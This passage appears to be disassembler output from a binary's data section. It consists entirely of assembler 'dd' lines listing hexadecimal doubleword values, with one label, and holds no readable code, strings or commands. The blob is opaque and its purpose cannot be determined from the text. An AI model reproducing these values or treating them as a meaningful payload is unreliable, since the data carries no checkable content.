0DED61EB0h, 11E0B8CCh, 0EF040070h, 8BA16BAEh, 0DFE2C74Fh dd 0A30AE900h, 0FDEB6C0Bh, 0E61C1E5Ch, 671C07Ah, 5928EA5Bh dd 99AFB20Fh, 0A9C787C3h, 1F9B91D0h, 0E3B707D7h, 20CC72B3h dd 0EACECF28h, 6C421700h, 0AF5BC035h, 18F20053h, 7EAE570Ch dd 273F91EEh, 0FD120EC5h, 4B59E3B5h, 0F74ABF0Eh, 0F5C74E00h dd 0A0994931h, 0F454D9F8h, 0CCE8DEh, 25C28E94h, 0C559CF8Fh dd 9A005890h, 6CB0A66Bh, 2A7AFE1h, 0FFF6CE98h, 734351FDh dd 0CD5556F8h, 0F9195F01h, 886A40BDh, 38A0DC44h, 956B1FC0h dd 7BEF802Ch, 5BA67C8Ah, 9C367E00h, 69D101B6h, 0C0610092h dd 7B08A96Ah, 5300D5E3h, 76D6831Dh, 0D88CE1h, 0D7E85F84h dd 0B169825Eh, 0BD9BC50Fh, 0FA1200E6h, 1200979h, 10CD3233h dd 217EB7DAh, 0F17E01Fh, 8898E30Fh, 0A4566087h, 0B2D631h dd 0DA058F73h, 7CE2A42h, 0E7B770Fh, 0B086A0FAh, 0CE848h dd 0B7EDFCC8h, 8F213E1Fh, 40005B0h, 7D46FFAFh, 3E6B631h dd 243C1070h, 0C3E8CA1Bh, 2007453h, 0EA076687h, 0E6C96BEBh dd 52E80E26h, 0BEA73AC6h, 0D1E30081h, 5B015E76h, 57036F8Ah dd 0F5E409A9h, 0FC97009Fh, 6D3ACDDFh, 0ED1FE6FBh, 85015640h dd 0C57486C8h, 281C4880h, 15FCEB1Bh, 2B07BEE0h, 0E4EAEF61h dd 0D5140310h, 0BC0A00C3h, 0B106CC58h, 0C2007280h, 0C5834587h dd 0C1257E23h, 0AC15EB59h, 0BD74708Ah, 5E0011E2h, 0ABFDFC2Dh dd 0B2BE5FC2h, 1E311FC4h, 0DAF1C09Ah, 0A1B81ACBh, 8D55A800h dd 3FC2337Ah, 1ECF00E8h, 4E9FA0BCh, 2F13906Ch, 2D015BBEh dd 8EB204EEh, 1C6377DCh, 897E9568h, 948042FDh, 0C92CC3B3h dd 4D3C8601h, 2A839FA9h, 7CCA07F0h, 0A1D4F054h, 0B8E03408h dd 8F9700D9h, 0F4B20B16h, 0F300F8CDh, 0F1791284h, 24C1FF0Ch dd 3AD8119h, 0C73C342Fh, 7C863803h, 0CB1B2A2Ch, 0BFE3C1BAh dd 0FA037883h, 0CAA111B3h, 484EF024h, 420798C0h, 76DE34FCh dd 0E3BA00F7h, 3E9B3F9h, 0C9053C94h, 0A9ECC1ACh, 9149040h dd 0FF056Dh, 4697D85Eh, 0E8343AC2h, 0BBA00A1Eh, 0DDD459Fh dd 81F1E80h, 1E435924h, 1E10DB2Dh, 5658C36Bh, 26D0C14Ch dd 0A83B7888h, 525B0021h, 0D9EEB19h, 109A00F3h, 718BF0FDh dd 0FF01EE7Bh, 0DF4558C0h, 1EF89195h, 15CA160Fh, 1FF50001h dd 2ACC48D5h, 0B0541D01h, 5F536851h, 0AA03C0h, 0D82B096Ch dd 28F32CA1h, 4A5C3902h, 0F7F25EA7h, 0E5418CE0h, 0F53ADA06h dd 3E97D19h, 85D5868Dh, 81EFC496h, 513D83AEh, 8F64AA98h dd 79B4108h, 0AE525287h, 27A89184h, 602067D0h, 46C1114Dh dd 0BD28FABAh, 9D7B1C38h, 114CA930h, 18D3BFB1h, 81B5AE43h dd 0FA18D793h, 2D119B19h, 384D09C9h, 9CC1FF28h, 146FC09Dh dd 11410537h, 0D828B6C0h, 0A76E003Fh, 17A0F077h, 9A1CAAB7h dd 0C18C0AADh, 692D0A6h, 59BD41EAh, 760010A5h, 0D1CC8695h dd 4C884Ah, 0AC45D24Dh dd 9D54FE2Fh, 1685B00h, 0D002ADC6h, 3C2E7CFDh, 3C3CC937h dd 6015F0F6h, 0EED799F6h, 0D307D0E3h, 1508445h, 0F8003027h dd 1B0A47h, 2CF1B3FDh, 0BB1F5D40h, 0B0F3CA00h, 0EFC1A1FBh dd 4899600Ah, 65CD7E8Dh, 91A0B560h, 60ED7CAAh, 0C5C88857h dd 8C80E418h, 0F14F00A8h, 726F9043h, 34287E6Eh, 3E44C830h dd 2C5607CFh, 80D3EA46h, 0EEC843E8h, 0FDA78801h, 3833822Fh dd 0A45001D1h, 0A821C580h, 0B8EAB294h, 688A06CAh, 19A9CDFEh dd 6114643Ch, 0D91B02F1h, 0FF79E9CFh, 3B3DCD4h, 3C032EBAh dd 59EE14FEh, 69384400h, 664D2871h, 1F7C2Ah, 0F03CEFCAh dd 8BF757Eh, 0C1B43867h, 9378F250h, 84AF3907h, 0AFF0374h dd 0F588BDC7h, 1E49F80Eh, 0DF064029h, 3D013321h, 981F42F8h dd 0AB35030Eh, 5E71CE3h, 0F4140C3Bh, 0EF00F718h, 187C69C9h dd 7454B1CAh, 3B440131h, 0DF811D65h, 37E0D0ABh, 0E105C21Dh dd 0F0215F18h, 0AC810034h, 7DC1FB45h, 35E019E3h, 0EB0057F0h dd 407E87BAh, 0CCA2CF8h, 34F521D0h, 0F0F57A68h, 7300453Bh dd 7603DBFh, 13E7B03Fh, 0F38F4Dh, 1ADF314Fh, 7D307745h dd 0C13B202Eh, 0E7B429E0h, 921CE220h, 3C32830h, 0F5EB7B49h dd 0B90337B1h, 0E5777325h, 1B384C5Dh, 0B1BBAB00h, 0D6846D23h dd 3A07CFF0h, 0B466C4Bh, 1C7EEB0h, 0CD20A354h, 118BA880h dd 5157004Fh, 66C53F0Dh, 903D1277h, 0D358E0FDh, 0DD4495h dd 9E3BF250h, 0F597A17Eh, 0F48A0C18h, 1A4548h, 6AF8ED93h dd 94C767A2h, 2B873A00h, 3C442118h, 956200D6h, 8C32228h dd 4701F54Fh, 8F72F3A1h, 68822AB9h, 0EB467F3Eh, 0BF6FB483h dd 0F006FBC9h, 373942D1h, 0B845304Ch, 85261Bh, 0E616B197h dd 0E5EEBC40h, 21C025E8h, 5A851FF8h, 0C86C1565h, 9A038434h dd 0E8D1F301h, 5BCAB000h, 8B84FAD2h, 9200098h, 7D39AFB9h dd 0B4ECD6A4h, 0ABDEA300h, 0B60CE0C5h, 980660CEh, 300DC013h dd 58E00745h, 106262FDh, 0ACA32E53h, 800C9C5h, 0E3B4C0B8h dd 1AC1885h, 6920330Ah, 0D0C64EF8h, 6D180F3Ch, 0B2C1B131h dd 2E217C78h, 10C1FA5h, 0CAC50B35h, 6B08833Ch, 14579Dh dd 1D440D18h, 404AE331h, 0E1AF1728h, 793134F2h, 0B9F5E1EBh dd 7B7C8022h, 842B0089h, 0E79D67BFh, 3609AD92h, 30B2CA0Bh dd 11812494h, 8835ABE2h, 0FDA85Eh, 39E21881h, 0A361476h dd 66B1A30Ch, 301FA8E6h, 0E48141D2h, 8DB071DDh, 0C3F0C866h dd 21DB60F9h, 0B571E5FEh, 93E40D05h, 0BC0F6197h, 0AB6CC2C1h dd 80EAE26Eh, 0AE2E0458h, 38426182h, 708D676Dh, 0E3063FD1h dd 1C8776B9h, 0D6740028h, 0ECAAB388h, 0BF14F2B2h, 81D42B15h dd 0A80334Ah, 95FAAE4h, 216BF8AEh, 541825h, 794A0F70h dd 6D001C8Ah, 6F9714CFh, 647133h, 8104B1F0h, 0C3602C86h dd 1E0F0C90h, 0AFB9E57Fh, 0EA8987h, 0B2415410h, 127635B7h dd 0AE7F0211h, 108AE49Ah, 564860C0h, 68030281h, 47CCF479h dd 2A4CF80Eh, 6D571173h, 7F500066h, 800CF312h, 0C21D3034h dd 0AEF05D80h, 0DFB1BD04h, 6F00E27Eh, 30CB9657h, 48B23E02h dd 8051A43Bh, 450D0F38h, 1C2B00F6h, 243CCE17h, 600D172h dd 0CE1B12Ah, 1D9296Dh, 17D87323h, 0E62B5F4Ah, 3BCCB088h dd 10D39708h, 443CE62h, 0A13C88D2h, 809EAC3Ch, 606F8FA9h dd 0C361545Dh, 0FA999181h, 13D05FD8h, 3940D200h, 6A05566Eh dd 0F8A80AEBh, 2AD29D62h, 204509A0h, 0E884E496h, 81C467AEh dd 4C55D082h, 0EF348154h, 2581E8h, 0E3B239F5h, 0E42F3384h dd 5C241326h, 71957A01h, 9CE05EABh, 0E62E02B1h, 1B8B88EBh dd 0FD34B041h, 0BD1813Eh, 0FFE71FB0h, 9E80B7F3h, 36C9DAFh dd 806DD453h, 71E9CB12h, 4C3189F5h, 0D42C2031h, 26E99B74h dd 0D248DBh, 104B25E2h, 39D0EC17h, 0C12400E8h, 7D69C518h dd 40C3F7DFh, 8860DC69h, 9B85219h, 5C812600h, 4F715610h dd 166985Dh, 91B31D3Fh, 3467B8E1h, 34902210h, 0B2B7B409h dd 0B60C0842h, 0AC4CA134h, 4CA1C88Ah, 0F5834839h, 216857BCh dd 7D8064CCh, 332FA737h, 559D0204h, 13F91B4Fh, 4974EC98h dd 0F336AA00h, 0DC1764A2h, 425300B6h, 0C251301Bh, 0AC0C412Eh dd 506D1AE2h, 0EE020AA0h, 9DDCABBFh, 0F940C27Ah, 24602232h dd 486D1F5h, 6B2171E3h, 20D962F8h, 0B671EB04h, 20F60100h dd 0CE6A5F3Ah, 8957246Eh, 0B9DB8184h, 0E9B013B7h, 22E440E1h dd 81FD4C75h, 9C6F5E1h, 0B12059EFh, 0BECE0010h, 0D2DC2E3Fh dd 0B00F8EE8h, 5B42923h, 0A0426F35h, 43A7A3CAh, 2260E44Ch dd 0D9D6E481h, 3AEC342Dh, 0A1603881h, 24419E09h, 0EFA8EE81h dd 1B9881F6h, 3DAF34C9h, 4B8C9EFh, 731F3981h, 3065AD6Fh dd 1A4CE408h, 8AEB0C2Ch, 3EEA91C4h, 7338779Ch, 4B31170Ch dd 21C0E109h, 6777B50Ah, 0FC2F0286h, 350F96B9h, 8569E440h dd 80CC5731h, 3180BF8Ah, 547F4984h, 64186A0Fh, 0E019F38Bh dd 2B710022h, 0F8B1873Eh, 0F20B0706h, 0A06B6EB9h, 25E79C30h dd 11BF2E88h, 0CFA804Ch, 0ED78264Bh, 8044D148h, 89BCF28Dh dd 80AF58B4h, 4C354281h, 18CC5036h, 7407B01Ch, 69278B11h dd 44292552h, 2E9C7C04h, 3BA6B6h, 8545C32Ch, 0D491F2AFh dd 1CC563Bh, 0ABDD811Fh, 690CE04Dh, 36EE88h, 25A56481h dd 899551E3h, 3A01EF05h, 30900F97h, 4849B567h, 0B804B004h dd 0C811EF7Eh, 7710538Ch, 0D0581DAFh, 0AA0C2C22h, 181B036Eh dd 9DB20071h, 0AFC18539h, 18FEE3D0h, 616454A5h, 7035CD60h dd 0F5039091h, 0CF0CA086h, 0A4D25CB5h, 28804072h, 0EC10C913h dd 397C1282h, 0C3DBACA0h, 5A0152B0h, 78C50AC2h, 57F82B0Bh dd 32810035h, 8F6C83AFh, 40C22C7Dh, 0C8668634h, 17846D60h dd 613A42D2h, 31851DC8h, 8CE405A4h, 0FB881FC8h, 8476F2h dd 0BDF8F35Eh, 0BAAB6BCDh, 4A35E608h, 0B79B8144h, 0BC146A87h dd 31CF0168h, 38777EB0h, 9044A043h, 0CB13A5Bh, 0F58182AFh dd 0B5146B81h, 2CC0E03h, 85315EB6h, 296700EDh, 7D12C122h dd 0C1EC587h, 0EBDD5681h, 204E8221h, 928AD011h, 2C6C9447h dd 0F5FADF43h, 0D8518421h, 205464h, 0BDC89E59h, 26D5D22Ah dd 0CECB2103h, 0C0A152F6h, 1D9F5514h, 351F03Ch, 0A63319D7h dd 0D25A1DC0h, 6BECB07h, 0C940D1BDh, 750FD301h, 1FEB0025h dd 0BE64436h, 0D100A850h, 0C7C62711h, 29F380Fh, 0D552C1CAh dd 389442CEh, 7FC0F83Ch, 5F37D1F1h, 8F13118h, 25E1D9D0h dd 41EEB080h, 4CF5C8CBh, 0C0003898h, 0F4F1A158h, 7CAB4C9h dd 0E5B52515h, 0C3FF601Eh, 0AB0C560Bh, 0D10742EEh, 0E8AF3C38h dd 39D4361Ah, 43CF812h, 2FA64B1Ah, 78114010h, 1DF34B94h dd 0D2D30Ch, 46B7EBECh, 0D8A08B4Fh, 4360D4B4h, 7845BB30h dd 188C6F59h, 9845212Fh, 39080975h, 0E8108Ah, 36AD9A4Eh dd 8F51C8F5h, 0E9DFC52Ch, 0C9F442E9h, 0A3600C99h, 0BA8C0C88h dd 90853009h, 0C399E228h, 6946B658h, 8CB4793Ch, 4095D6AFh dd 0C8CC493Ah, 0DF3BC406h, 5415595Ch, 0A78B040h, 5838CA3Ah dd 7799F408h, 0F13BFCC4h, 0F80E9A23h, 405A8733h, 88C7EB98h dd 2F49C0F9h, 0E7B206CCh, 0FA283E32h, 0ABF01D81h, 3EDC26C4h dd 0E1F5897Ch, 0B8E42439h, 36AB5E13h, 77C1E000h, 144172F2h dd 0C7EB17Ah, 122E441Eh, 6DFC42ECh, 3CC8F157h, 350F71BAh dd 0EA70376Bh, 3B020C77h, 68E94634h, 0A09D6914h, 0B084B058h dd 64315344h, 7720E0A2h dd 0EFBF7322h, 0BC088C54h, 10B8486Ch, 6151893Fh, 0A5C84A7Ch dd 0BF0A8E9h, 0F86753C6h, 4053F502h, 5C6142D1h, 104508B6h dd 678C6998h, 0C15C1F40h, 0C63297Eh, 1A45BE8Ch, 812B80E4h dd 9946ABDCh, 0B998327Ch, 31BF6E10h, 0A91D545h, 0C56882CBh dd 239F6FC8h, 30BD2ED1h, 0C618EB88h, 643CCA24h, 3B85CC10h dd 0C994207Fh, 3955E56Fh, 50E836E0h, 958B360Ch, 46DD8073h dd 73120C99h, 8568C00Ch, 4B3B1A4h, 0A6B638F8h, 0D2B40588h dd 844542Eh, 454258F4h, 0F3949385h, 8B2FF278h, 0A10C4CC8h dd 3E123028h, 0A3A380B9h, 690A0C99h, 0DC048C59h, 0CCF2971h dd 1F99BDE1h, 99774504h, 0E8A88C52h, 6880148Ah, 0C20C995Dh dd 8C840F33h, 0A29C9AA3h, 6D443DBEh, 0CA49B136h, 16CCF2A0h dd 0C285322Eh, 144A2B12h, 106BD876h, 6AA7D374h, 0F950203Ch dd 0E9810AF2h, 3D46357Bh, 0A82D2944h, 8AC481B7h, 0A6B1E4B4h dd 2481DFD8h, 54B9D958h, 0A72C9A4Ch, 0B26B8B74h, 87E437DCh dd 0E901BCE2h, 58B9F10Ah, 590430D7h, 7818676Ah, 2815FE08h dd 759F44DCh, 0DD12AF18h, 1ECC3C18h, 0E8104255h, 0D7AA3EC4h dd 1FBFD44h, 0A822AFB4h, 9E3C8829h, 7B7EC817h, 30E812F2h dd 2333083Ch, 0D8CA5C42h, 0B6823CA3h, 3C853519h, 54192562h dd 0EB4858DBh, 25D3CFF4h, 0D0805211h, 230E451Ch, 3CD573Ch dd 0CFA1270Ah, 0CB9FE842h, 0A2474C0h, 444FBFCAh, 830CE714h dd 3007D0C8h, 4115D4D2h, 270ECBC1h, 0D551C000h, 5911C30Eh dd 0CA00BCA0h, 5C16DA15h, 543C03D0h, 53C7CB26h, 0A09187Eh dd 6ED1BD59h, 51543AD0h, 4D3FC83Fh, 56230CF4h, 0C978C7CFh dd 310DCB33h, 0AD1E3BEh, 12CDCF59h, 1010690Ch, 0CC062554h dd 0D44D11D5h, 8856507Ch, 0B21C9CBEh, 20C04529h, 1C907DE5h dd 0EA45209Ah, 0B82D3C21h, 956F1840h, 0D4AD4010h, 9C2FE8FCh dd 0E3A400BBh, 95F3F6F7h, 72F8001Eh, 0AF34C801h, 19054B3Ah dd 0C0E247D8h, 508CAD71h, 0B879F590h, 0C2E1EBF1h, 4C0FA08h dd 318041DCh, 42FB24C4h, 302908B0h, 0A164540Ch, 0C418A1C5h dd 1B054A10h, 443E68C8h, 0ECDCC851h, 1922D234h, 35BF2C07h dd 0CBA28888h, 24108A1Ah, 460B6240h, 5BCB423h, 2F62B8A6h dd 0F8848A29h, 0A8D25274h, 316F4B18h, 59C17E51h, 862F96B6h dd 4D4C3830h, 3A3C4C15h, 0F37D538Bh, 62D2F025h, 4A1AE9D0h dd 70D01838h, 5C8F186Eh, 4653307Ch, 7FEE68B2h, 6883CA34h dd 81185481h, 0A8762861h, 964A6C4Ch, 7690A190h, 1B626772h dd 0C9B48D31h, 4C54C5A4h, 94B1E486h, 466CE31Ch, 390D23BAh dd 7F4A0CF3h, 0D2308ED3h, 148C8A5Dh, 584C8041h, 4EB16904h dd 9578982Ch, 4078C02Ah, 5096B77Ah, 0B942A4A4h, 744DEFE2h dd 0C63B8B1h, 7DCB110Bh, 0F371A621h, 5F46A50Ch, 0ED7FB00Ah dd 21DE1F28h, 23E04256h, 42155036h, 88DE1085h, 0C121D42Eh dd 22E44439h, 4D083586h, 7E1A5033h, 841ABE89h, 0FF285091h dd 1A9650A1h, 59C8B58Ah, 430E0832h, 3869F13Bh, 434C5418h dd 0A949895Ch, 14B4096Ch, 414D4160h, 22832279h, 5E690660h dd 9061DD8Bh, 3F02F98Ch, 34017B25h, 0EF025DB1h, 3CB9091h dd 0EDF62C0Dh, 0A0929C49h, 74E920ECh, 31524735h, 0E3461408h dd 52C0C94Ch, 5BB1344h, 389808EAh, 0A4897A92h, 0C32481Ch dd 2DC0F86Ah, 40121211h, 0E8218F74h, 0DC233854h, 4960A843h dd 0B1B977A3h, 41274C37h, 758A4BB0h, 0B8F1079Dh, 426DF4C5h dd 4A608431h, 60173DFAh, 0E0204BE3h, 0F6CEA1h, 7624A64Eh dd 0E4E88701h, 8BDF330Ch, 7F5B69F5h, 96340032h, 29CBE34Eh dd 0B00E558Ch, 0C3BD40A4h, 802E7660h, 6F7F814Bh, 0B0065815h dd 2A0441EEh, 0E87B856Bh, 4B0F44C0h, 0E5833E2Dh, 64007A24h dd 72414160h, 4F8B3F2h, 56EB073Dh, 0A068B8E4h, 99F9BC60h dd 845D902h, 203FD269h, 0C112110Bh, 43DC3807h, 60C90F47h dd 121BDBFCh, 4041BF6Dh, 7D83BC38h, 510C971Eh, 813ABEF9h dd 0F4CEAB2h, 0E080DB53h, 0F9AA2B22h, 10E9DC91h, 74A54CB6h dd 7ABE172Dh, 0BF8400D2h, 6652834Ah, 0D60EB1EAh, 0A022D585h dd 0B569F536h, 0F8E563C7h, 3AB346B8h, 52C19805h, 0DC88D343h dd 6F61Ch, 0F8C2B2EBh, 87AFAA33h, 68070A5Fh, 0B3B03A4Bh dd 3A2B45C8h, 386E3EAEh, 73A0EBC1h, 7B6081F5h, 304DD15Ah dd 0E020F0h, 7D676C15h, 40E604D7h, 87E78300h, 0DB1C8439h dd 2EB21D27h, 2D7500D9h, 137880DAh, 0BEC4CC00h, 0A925C858h dd 37F84Bh, 3E872084h, 72DC049Ah, 0A0238603h, 0A335B23Dh dd 11286126h, 0F03ED62Dh, 232FCD09h, 0E4B2F070h, 72CB0320h dd 2B880C74h, 2ADB2EE0h, 1E39A93Fh, 9E008442h, 0A538753Ch dd 0B81368D2h, 9DCD704h, 0CC39E396h, 0A53AB400h, 37526A38h dd 569DC318h, 2D1000CBh, 0AC73DD47h, 230088C8h, 8BF695EDh dd 6049F866h, 23E187Eh, 897E7473h, 9D181BF8h, 19486897h dd 181F0F15h, 37E6D41h, 395FB7D5h, 0C88934B0h, 7D760207h dd 4743EF52h, 0D266F0EDh, 30C5B0DFh, 0CE58CD21h, 0B00BBEBh dd 8F5E4A08h, 2AC887h, 0D70B69Fh, 239D134h, 1818C160h dd 3EADB5EDh, 620A6D40h, 0E401D1Ah, 0E74C1224h, 0CC1DE1E9h dd 3A3C6B9Dh, 53F8639Bh, 3E1BA007h, 0D8028CADh, 8FC0BD23h dd 90073CF5h, 0D6CA14A8h, 105F0480h, 0C7FE309Fh, 622ACE68h dd 63E22840h, 0A548305Ah, 0BC0FF82Ah, 571B3E7Eh, 0E1407BF6h dd 0C001E37Fh, 26508CD4h, 552B783Ah, 48E9D465h, 0E9048C4Ah dd 7827E57Ch, 5680C05Ch, 127937CEh, 1F6C24h, 0AB979A40h dd 0BA430C85h, 219699Ch, 0BD1C0D01h, 4DC1D8A6h, 9C124695h dd 48981314h, 121C6624h, 2C2872D4h, 0FC796445h, 868E0983h dd 1BE010F4h, 4500FEC3h, 0D87FCB2Fh, 9A9E88h, 8272DA1Ch dd 8429D639h, 2CE5043Ch, 2CC57877h, 37D95080h, 0F854B070h dd 0B6571DB2h, 0D638009Dh, 846DA92Eh, 77BDDF14h, 8F09C044h dd 156E4F6Fh, 43A3DDDh, 2BBDA283h, 0C9A6DE2h, 0A05B0800h dd 6C449A2Dh, 2930A665h, 1F08AC50h, 0DFCE106Ah, 8ACDE70Fh dd 8974A048h, 0CC24ACE4h, 1048E91Ch, 6818A6DEh, 154C09D8h dd 70B33080h, 5254513Ah, 912A8810h, 46DA3CC6h, 417C0846h dd 0AC700177h, 6D9C02AEh, 0AC17F09Ch, 150C5E52h, 908C8741h dd 0AA500450h, 8883D6A1h, 0CC3132CBh, 0CE24CD09h, 0C891C748h dd 0CA44C922h, 12C489C3h, 48C624C5h, 22E091DFh, 0DBE244E1h dd 0DD12DC89h, 84C0DE27h, 5E4A2CFh, 0CA98BB4Eh, 6AF42357h dd 846BB829h, 42EC965h, 421276B1h, 0BC877408h, 0D2BEA073h dd 680F665Eh, 839712A2h, 0B065155Bh, 76BDB69h, 7670CB6Dh dd 646E41F0h, 0D196E1E8h, 663EF040h, 838640CFh, 0E9DB5768h dd 0F003B67h, 6B02BB69h, 3512CBE2h, 5F48535Eh, 0FD041FFAh dd 0CC6B4A56h, 0B7023488h, 0BE07E39Ch, 938E2F9Ah, 2AB3894h dd 0E23CCCE6h, 0DD75205Bh, 7964E43Dh, 38517A09h, 0ABFE0442h dd 1F00EBACh, 0C09394D5h, 1B5EBB3Dh, 2112478Bh, 3895ABFAh dd 56129AC0h, 0D27077Ch, 0C383DD96h, 18009786h, 50EA731Eh dd 14DC64BEh, 1C823EDEh, 0A1F023Eh, 7B0982FDh, 28916B4Bh dd 0E49C7A99h, 0D68E18C6h, 0E09D4129h, 0A830E267h, 0B724D8C0h dd 79C71E83h, 4F7E00A5h, 2082A167h, 0D79DE500h, 7540C858h dd 3CCC0736h, 40AA6BD5h, 27DC04A9h, 0D920E700h, 0CD0A9D38h dd 5B12078Bh, 0D3842BDBh dword_4FE844 dd 0E5A027BAh, 0A90E2DA0h, 9F896724h, 862BC501h, 4087DD1Ch dd 0C73EDB0Ch, 0A83F0138h, 0F040492Eh, 233CDD39h, 0D23E7E77h dd 27E30FD7h, 0D8301486h, 29832698h, 821CCC3Ah, 37702EFFh dd 0D62B1200h, 39863A40h, 0A1602629h, 705F56ECh, 9A0EA4A2h dd 0F082B07Ch, 18B1123Dh, 0A4887F2Fh, 1DB8763Ah, 0AB6D3DA5h dd 8441852Ch, 87C40320h, 0CFE0997Ah, 9629A5FFh, 129C3883h dd 0CE80D400h, 1441E356h, 14E40474h, 674070A4h, 6D01CE96h dd 2E9E89D3h, 0FFD02BC9h, 0E6F8A8D6h, 256A133Dh, 0EB9C2A9Bh dd 0BA2CE400h, 0B958899Eh, 7E3A10Fh, 0FF87A168h, 0E7D033DAh dd 343F4CCCh, 842ED309h, 3A8F00AEh, 8C6B2818h, 98CE3D24h dd 0EE2E80BBh, 0CBFFC678h, 0E59D263Ch, 28503640h, 0DA61120Fh dd 20351396h, 37CE6C00h, 907823D9h, 0FC50D7ECh, 0C47DC358h dd 0A2914F6Dh, 9AA1EB04h, 0E530208Dh, 4B864102h, 0C27642BCh dd 98455590h, 7205582Ah, 38A03976h, 0C1A55483h, 0D0302FE2h dd 0A3203C87h, 0E304710Ch, 0DC4C3A40h, 0DB4B00C0h, 87E7752Ah dd 10831A33h, 8C811088h, 2004BEC4h, 2D169DB0h, 70043DA0h dd 0FCC33EC8h, 3BB2C15Eh, 3171A020h, 0E710DB1Ch, 3560899Fh dd 58AC0CA0h, 389D123Eh, 0D818ABCCh, 3A0CB240h, 41837D7h dd 0D63630DAh, 2E970FCh, 9413FF83h, 3A9DA012h, 0FFD03EABh dd 0D683F852h, 87C2A942h, 6D05D4ECh, 4B763ADDh, 0F0B06098h dd 9F2B01C4h, 793D8720h, 4AB82739h, 0FFF5B0B8h, 2E705C04h dd 408320C2h, 3EB240E8h, 3061F109h, 619A3ED6h, 70DC7F7Ch dd 6B124F80h, 9A02FA0Ch, 0DD0AA99Dh, 0E540C4C0h, 2CB42958h dd 87E7E4CCh, 0C90CB1A9h, 2C109860h, 1DDC2ED8h, 1BD824CCh dd 0DBE128CDh, 48C46227h, 2B87181Ch, 0B0833D09h, 3EE4A5C4h dd 90DB5065h, 9ADF81C0h, 0E20E75Ch, 9FDC2ECDh, 0E369201Bh dd 2F77E1D6h, 20723DD1h, 2C3A8314h, 0CC3C87B4h, 3E13DA80h dd 340C3975h, 33C586Dh, 3FD70AB2h, 0B0C61082h, 0E58094FBh dd 5002D218h, 0FB1291EEh, 5747D0Ch, 0FFB096D3h, 7884B2B6h dd 2EEFE508h, 87CA7312h, 9A16189Dh, 893EC840h, 5A40CCE5h dd 80503E86h, 23E727BAh, 763E2CDCh, 0E2400BD8h, 2F9D64A0h dd 0A95529CCh, 0D1F86C40h, 0A84B0750h, 0AC417DA2h, 2074843Ch dd 0AD234B6Bh, 3ACC13F0h, 0A02D44C3h, 9E40D61Ch, 0D4E6493Ch dd 88D23Ah, 0E57087DBh, 1E833CA0h, 0B27E42Dh, 8C80BDE7h dd 9E2CC81Ch, 8B1D90B8h, 0FC3A3CE2h, 0E650C082h, 2123609Fh dd 0D9E76A27h, 772B3Ah, 3BD0C6A0h, 0E8E9DFD2h, 0E5CD0E22h dd 7E8021DDh, 0D0E0D626h, 68032A1Eh, 0DE2505C0h, 1D6609E9h dd 0F34AE7Ch, 0D703CC80h, 1EF09ECDh, 107CE2E4h, 0DFD6E003h dd 0A2DBDCD4h, 1D34B41Dh, 0FFE0D41Ah, 606A6078h, 10DBE4D0h dd 0DAF034A5h, 10CB07C6h, 0C7CCE033h, 73E9971Dh, 7F0C925h dd 0AAA09721h, 9F296FDh, 0CCC6D405h, 0E8C6CF3Bh, 0E3E90321h dd 0FADDCDD2h, 5F0E4A3h, 0E660CB66h, 14CCDB90h, 5B60C0D0h dd 5E9C737h, 3B7938A6h, 1FC5673Ah, 600CD01h, 13D797D4h dd 20E3601Dh, 9CACF21h, 3FDA253Ah, 9EC90314h, 0A0E01EDFh dd 3AE4D40Fh, 371F10D8h, 0CD2503ACh, 0E87C2ACAh, 28231430h dd 0E884361Ch, 50D47C30h, 19CEDCCFh, 20DA14E6h, 0CCCBDC10h dd 123FC3Ah, 97D806E5h, 0E88213CAh, 0D11D09DAh, 4A46C885h dd 218003C4h, 6621048Ch, 0D80C837Ah, 203BCAC0h, 0FD0E41Fh dd 14D8671Bh, 0DC0ACB88h, 33B2874h, 0A3D883D0h, 0E304C0E2h dd 0DBFA0FCFh, 360A90CAh, 0D3FC0080h, 7971A2E0h, 0D2B0DA50h dd 8666F0A9h, 77D70D60h, 0F0217CD0h, 2818610Ah, 90E16608h dd 0D329CBE9h, 465B0358h, 42A17F37h, 13088C3Ch, 0E2D4306Ah dd 11C92A2h, 0DC660AE5h, 20DA0BCEh, 0F4A6FC44h, 0D47848F3h dd 0D1E8D071h, 0C8802090h, 30F8DD97h, 0DFCCE41Fh, 39E8DC19h dd 2AF0C0A0h, 8544E9C9h, 0C278FD04h, 0BD67143Ah, 0F9000841h dd 88807B3Ch, 0D007C1F4h, 64403089h, 78D3394Ch, 88BD0861h dd 0C441FB66h, 0E6B8F1h, 0FDE186F2h, 0F5E7A600h, 87E598FAh dd 466D00C9h, 89DA85D0h, 58C079F8h, 3644CB37h, 9C03066Ah dd 517A788Eh, 74590910h, 0EEE82Ch, 36402F19h, 2E06032Bh dd 429941BAh, 0D25B3C20h, 202AAF94h, 180C72F1h, 0D180F964h dd 0F6D29632h, 777472D1h, 0C1754306h, 0AA08CC0h, 0BE673EC2h dd 89A56E90h, 3C740E65h, 101A7866h, 8E1CD8C4h, 0C374CA41h dd 170D8F8h, 73DF40C1h, 388CAB67h, 2817E0Fh, 0B78B900h dd 0EB476DC7h, 1C0356B2h, 0A3527520h, 18F900DCh, 40FFCA3Fh dd 712BF280h, 43F4306Fh, 9160C621h, 48F6614h, 18150FACh dd 0CF50FBF9h, 0AA37DC80h, 6618A093h, 0F93B00D8h, 6F9AE3BDh dd 8CC7BC5h, 18012172h, 988B3B70h, 0E0884C1Ch, 10C4A53Dh dd 0F7FB062Ah, 80B15C15h, 0AF0B77C0h, 602C11E0h, 21A84671h dd 7E9400E9h, 72B35688h, 67F811B6h, 80606648h, 0B5FA2E3Bh dd 9B020CF4h, 4009DC7Ah, 361B21C0h, 188003FAh, 3986A677h dd 4461F370h, 0E4DC2669h, 605F36F0h, 39F217Bh, 5036F83h dd 0FE3B6230h, 6A08302Fh, 832BBF21h, 0F21E5D09h, 0F31000B7h dd 91852489h, 4AFC0218h, 84FDD55h, 0D40AA86Fh, 3012847h dd 0CD10BD64h, 20FC483Eh, 0AE30BC7Bh, 4612A832h, 4A8AC6Ch dd 0F4B4FA2Dh, 2042623Ah, 79FA351Ch, 3BF73Ah, 0A5682EBh dd 409E63DEh, 0E13B462Bh, 3E0079BEh, 0B6A704E2h, 4295836h dd 47E92D85h, 381FC0CFh, 0FC49DF53h, 8EF4EC28h, 9539C50Ah dd 0B1818873h, 0A85DD1ADh, 0C383F0h, 51BAA166h, 0F87D88B8h dd 5E08C90Fh, 81FAE0FCh, 182AB1A2h, 4140E570h, 7932C03Dh dd 80DE9846h, 0ACEAF6D0h, 0A8884854h, 1415203Ch, 34F26071h dd 823FAC18h, 6C38AC40h, 8748282h, 90453291h, 16293E10h dd 9403C220h, 99C46630h, 0B11984CCh, 9154017Ch, 542271E8h dd 